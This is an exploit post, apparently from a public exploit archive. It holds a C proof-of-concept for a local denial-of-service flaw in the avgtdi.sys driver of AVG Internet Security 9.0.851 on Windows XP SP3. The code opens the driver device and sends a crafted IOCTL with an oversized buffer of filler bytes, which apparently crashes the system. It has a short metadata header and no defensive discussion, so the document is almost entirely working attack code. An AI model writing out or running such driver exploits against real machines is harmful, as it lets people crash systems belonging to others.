AVG Internet Security 9.0.851 Denial Of Service

`/*  
# Exploit Title: AVG Internet Security 0day Local DoS Exploit  
# Date: 2010-11-01  
# Author: Nikita Tarakanov (CISS Research Team)  
# Software Link: http://www.avg.com  
# Version: up to date, version 9.0.851, avgtdix.sys version 9.0.0.832  
# Tested on: Win XP SP3  
# CVE : CVE-NO-MATCH  
# Status : Unpatched  
*/  
  
#include <windows.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <io.h>  
#include <fcntl.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <errno.h>  
#include <share.h>  
  
  
  
int main(int argc, char **argv)  
{  
HANDLE hDevice;  
DWORD cb;  
void *buff;  
int outlen = 0x18, inlen = 0x10;  
DWORD ioctl = 0x830020C8;  
char deviceName[] = "\\\\.\\avgtdi";  
char logName[] = "avgtdi.log";  
  
if ( (hDevice = CreateFileA(deviceName,  
GENERIC_READ|GENERIC_WRITE,  
0,  
0,  
OPEN_EXISTING,  
0,  
NULL) ) != INVALID_HANDLE_VALUE )  
{  
printf("Device succesfully opened!\n");  
}  
else  
{  
printf("Error: Error opening device \n");  
return 0;  
}  
  
cb = 0;  
buff = malloc(0x1000);  
if(!buff){  
printf("malloc failed");  
return 0;  
}  
memset(buff, 'A', 0x1000-1);  
  
  
  
DeviceIoControl(hDevice, ioctl, (LPVOID)buff, inlen, (LPVOID)buff, outlen, &cb, NULL);  
  
free(buff);  
}  
  
`